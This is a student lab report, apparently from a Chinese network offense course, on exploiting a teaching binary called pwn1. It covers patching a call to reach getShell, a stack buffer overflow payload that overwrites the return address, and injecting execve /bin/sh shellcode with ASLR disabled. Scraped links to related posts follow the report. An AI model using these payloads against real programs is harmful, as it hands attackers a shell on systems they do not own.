一、实验目标


本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


二、实验内容

  • 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 3.注入一个自己制作的shellcode并运行这段shellcode。

三、实验步骤

1.直接修改程序机器指令,改变程序执行流程

step1.下载目标文件pwn1,反汇编

step2.查看核心代码,找到main函数调用foo函数对应的汇编指令以及找到getShell函数地址和foo函数地址,计算它俩的地址差为0x14

step3.修改mian函数调用foo函数的机器指令,将其从e8 d7ffffff改为e8 c3fffffff,这是因为call汇编指令的机器码为e8,d7ffffff为跳转时需要与eip寄存器相加的偏移量。由于数值存储方式为小端方式,所以只需要将d7与step2中计算出的地址差0x14做减法,便可得出目标地址为c3ffffff

step4.下载安装wxhexeditor

root@kali:~# apt-get install wxhexeditor

step5.使用wxhexeditor修改pwn2文件(由pwn1复制而来)后,运行pwn2,会得到shell提示符#,哈哈,实验1成功。

root@kali:~/20162318zty/exp1# wxhexeditor pwn2

2.通过构造输入参数,造成BOF攻击,改变程序执行流

step1. 反汇编,了解程序基本功能

step2.通过反汇编,我们可以发现foo函数存在Buffer overflow漏洞

step3.我们需要确认foo函数读入的字符串中哪几个字符会覆盖返回地址

step4.使用gdb调试,输入有规律的字符串,例如:1111111122222222333333334444444412345678

step5.通过上图可以发现输入的1234被覆盖到堆栈上的返回地址

step6.由于我们无法通过键盘输入\x7d\x84\x04\x08这样的16进制值。因此,我们需要生成一个文件input包含字符串(11111111222222223333333344444444\x7d\x84\x04\x08\x0a)其中\x0a代表回车。

step7.将input的输入,通过管道符“|”,作为pwn1的输入

root@kali:~/20162318zty/exp1# (cat input; cat) | ./pwn3

3.注入Shellcode并执行

step1. 修改某些设置

root@20162318:~# execstack -s pwn4    //设置堆栈可执行
root@20162318:~# execstack -q pwn4    //查询文件的堆栈是否可执行
X pwn1
root@20162318:~# more /proc/sys/kernel/randomize_va_space
2
root@20162318:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@20162318:~# more /proc/sys/kernel/randomize_va_space
0

step2.构造要注入的playload

root@20162318:~/20162318zty/exp1# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

step3.注入

root@20162318:~/20162318zty/exp1# (cat input_shellcode;cat) | ./pwn4

step4.打开一个新的终端,查看pwn4的进程号

root@20162318:~/20162318zty/exp1# ps -ef | grep pwn4

step5.用gdb来调试pwn4这个进程,设置断点查看注入buf的内存地址,

step6.修改pwn4的\x4\x3\x2\x1部分,构造新的playload

root@20162318:~/20162318zty/exp1# perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

step7:将input——shellcode的输入,通过管道符“|”,作为pwn4的输入。

四、实验感想

4.1实验收获与感想

本次实践学习了缓冲区溢出,懂得了缓冲区溢出的原理,并学会了得到shellcode。理论与实际相结合,在一次次失败中跌倒,却又一次次站了起来,最终完成了本次实践。

4.2什么是漏洞?漏洞有什么危害?

  • 漏洞:设计者在设计时没有考虑到的缺陷,却被攻击者拿来利用。
  • 危害:就拿本次实践来说,黑客可以利用漏洞来操控你的电脑来窃取数据,修改数据等等,总之,漏洞如果不加以防范的话,就会造成很严重的后果。

    五、知识点概述

  • NOP:无作用,机器码90
  • JNE:若不相等则跳,机器码75
  • JE:若相等则跳、机器码74
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB),段内直接近转移Jmp near(机器码:E9),段内间接转移Jmp word(机器码:FF),段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,相当于减法指令。它不保存结果,只是影响相应的标志位(机器码39)
  • 反汇编指令
objdump -d:反汇编指令

xxd:为给定的输入转换为十六进制的输出
  • 十六进制编程器:wxhexeditor
apt-get install wxhexeditor

20162318 2018-2019-2《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. pywin32记录备忘

    项目地址:http://sourceforge.net/projects/pywin32/ 文档地址:http://docs.activestate.com/activepython/2.7/pywi ...

  2. 【iptables】linux网络防火墙-iptables基础详解(重要)

    一:前言   防火墙,其实说白了讲,就是用于实现Linux下访问控制的功能的,它分为硬件的或者软件的防火墙两种.无论是在哪个网络中,防火墙工作的地方一定是在网络的边缘.而我们的任务就是需要去定义到底防 ...

  3. 【codeforces】【比赛题解】#855 Codefest 17

    神秘比赛,以<哈利波特>为主题……有点难. C题我熬夜切终于是写出来了,可惜比赛结束了,气啊. 比赛链接:点我. [A]汤姆·里德尔的日记 题意: 哈利波特正在摧毁神秘人的分灵体(魂器). ...

  4. QEMU漏洞挖掘

    转载:https://www.tuicool.com/articles/MzqYbia qemu是一个开源的模拟处理器硬件设备的全虚拟化仿真器和虚拟器. KVM(kernel virtual mach ...

  5. HTTP之一 If-Modified-Since & If-None-Match

    If-Modified-Since & If-None-MatchIf-Modified-Since,和 Last-Modified 一样都是用于记录页面最后修改时间的 HTTP 头信息,只是 ...

  6. 03 Editor plugins and IDEs 编辑器插件和 ide

    Editor plugins and IDEs  编辑器插件和 ide Introduction  介绍 Options 选项   Introduction 介绍 This document list ...

  7. xgboost gbdt特征点分烈点

    lightGBM与XGBoost的区别:(来源于:http://baijiahao.baidu.com/s?id=1588002707760744935&wfr=spider&for= ...

  8. 关于卫星RNSS与RDSS

    名词解释:RNSS与RDSS 服务于用户位置确定的卫星无线电业务有两种.一种是卫星无线电导航业务,英文全称Radio Navigation Satellite System,缩写RNSS,由用户接收卫 ...

  9. algorithm之unique

    #include<iostream> #include<algorithm> usingnamespace std; /**< unique函数的算法思想 */ vect ...

  10. vim 中替换命令

    vi/vim 中可以使用 :s 命令来替换字符串.以前只会使用一种格式来全文替换,今天发现该命令有很多种写法(vi 真是强大啊,还有很多需要学习),记录几种在此,方便以后查询. :s/vivian/s ...